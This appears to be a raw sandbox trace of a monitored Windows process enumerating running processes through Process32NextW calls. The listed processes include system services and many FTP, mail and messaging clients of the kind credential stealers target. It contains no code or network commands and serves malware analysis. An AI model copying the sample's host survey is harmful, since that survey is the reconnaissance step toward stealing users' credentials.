	[0077.550] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.550] lstrlenW (lpString="svchost.exe") returned 11
	[0077.550] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0077.551] lstrlenW (lpString="dwm.exe") returned 7
	[0077.551] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.551] lstrlenW (lpString="svchost.exe") returned 11
	[0077.551] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.552] lstrlenW (lpString="svchost.exe") returned 11
	[0077.552] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.552] lstrlenW (lpString="svchost.exe") returned 11
	[0077.552] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.553] lstrlenW (lpString="svchost.exe") returned 11
	[0077.553] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.554] lstrlenW (lpString="svchost.exe") returned 11
	[0077.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.554] lstrlenW (lpString="svchost.exe") returned 11
	[0077.554] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.555] lstrlenW (lpString="svchost.exe") returned 11
	[0077.555] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.555] lstrlenW (lpString="svchost.exe") returned 11
	[0077.555] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.556] lstrlenW (lpString="svchost.exe") returned 11
	[0077.556] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.556] lstrlenW (lpString="svchost.exe") returned 11
	[0077.556] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0077.557] lstrlenW (lpString="spoolsv.exe") returned 11
	[0077.557] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.557] lstrlenW (lpString="svchost.exe") returned 11
	[0077.557] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0077.558] lstrlenW (lpString="audiodg.exe") returned 11
	[0077.558] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0077.559] lstrlenW (lpString="sihost.exe") returned 10
	[0077.559] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.559] lstrlenW (lpString="svchost.exe") returned 11
	[0077.559] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0077.560] lstrlenW (lpString="taskhostw.exe") returned 13
	[0077.560] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0077.561] lstrlenW (lpString="explorer.exe") returned 12
	[0077.561] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0077.561] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0077.561] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0077.562] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0077.562] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0077.562] lstrlenW (lpString="Memory Compression") returned 18
	[0077.562] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0077.563] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0077.563] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0077.564] lstrlenW (lpString="SearchUI.exe") returned 12
	[0077.564] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0077.564] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0077.564] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0077.565] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0077.565] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0077.565] lstrlenW (lpString="fur-hold.exe") returned 12
	[0077.565] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0077.566] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0077.566] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0077.566] lstrlenW (lpString="vat.exe") returned 7
	[0077.566] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0077.567] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0077.567] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0077.567] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0077.567] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0077.568] lstrlenW (lpString="paxiltried.exe") returned 14
	[0077.568] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0077.568] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0077.569] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0077.569] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0077.569] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0077.570] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0077.570] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0077.570] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0077.570] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0077.571] lstrlenW (lpString="ride_australian.exe") returned 19
	[0077.571] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0077.571] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0077.571] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0077.572] lstrlenW (lpString="rc remember.exe") returned 15
	[0077.572] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0077.572] lstrlenW (lpString="records replace.exe") returned 19
	[0077.572] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0077.573] lstrlenW (lpString="isp physiology.exe") returned 18
	[0077.573] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0077.884] lstrlenW (lpString="feb.exe") returned 7
	[0077.884] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0077.884] lstrlenW (lpString="citizenship.exe") returned 15
	[0077.884] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0077.885] lstrlenW (lpString="wifi.exe") returned 8
	[0077.885] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0077.885] lstrlenW (lpString="3dftp.exe") returned 9
	[0077.885] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0077.886] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0077.886] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0077.887] lstrlenW (lpString="alftp.exe") returned 9
	[0077.887] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0077.888] lstrlenW (lpString="barca.exe") returned 9
	[0077.888] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0077.889] lstrlenW (lpString="bitkinex.exe") returned 12
	[0077.889] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0077.890] lstrlenW (lpString="coreftp.exe") returned 11
	[0077.890] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0077.891] lstrlenW (lpString="far.exe") returned 7
	[0077.891] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0077.892] lstrlenW (lpString="filezilla.exe") returned 13
	[0077.892] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0077.893] lstrlenW (lpString="flashfxp.exe") returned 12
	[0077.893] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0077.894] lstrlenW (lpString="fling.exe") returned 9
	[0077.894] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0077.895] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0077.895] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0077.896] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0077.896] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0077.897] lstrlenW (lpString="icq.exe") returned 7
	[0077.897] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0077.897] lstrlenW (lpString="leechftp.exe") returned 12
	[0077.897] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0077.898] lstrlenW (lpString="ncftp.exe") returned 9
	[0077.898] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0077.899] lstrlenW (lpString="notepad.exe") returned 11
	[0077.899] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0077.900] lstrlenW (lpString="operamail.exe") returned 13
	[0077.900] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0077.901] lstrlenW (lpString="pidgin.exe") returned 10
	[0077.901] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0077.902] lstrlenW (lpString="scriptftp.exe") returned 13
	[0077.902] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0077.902] lstrlenW (lpString="skype.exe") returned 9
	[0077.902] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0077.904] lstrlenW (lpString="smartftp.exe") returned 12
	[0077.904] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0077.905] lstrlenW (lpString="thunderbird.exe") returned 15
	[0077.905] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0077.905] lstrlenW (lpString="totalcmd.exe") returned 12
	[0077.905] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0077.906] lstrlenW (lpString="trillian.exe") returned 12
	[0077.906] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0077.907] lstrlenW (lpString="webdrive.exe") returned 12
	[0077.907] Process32NextW (in: hSnapshot=0x37c, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0077.908] lstrlenW (lpString="whatsapp.exe") returned 12
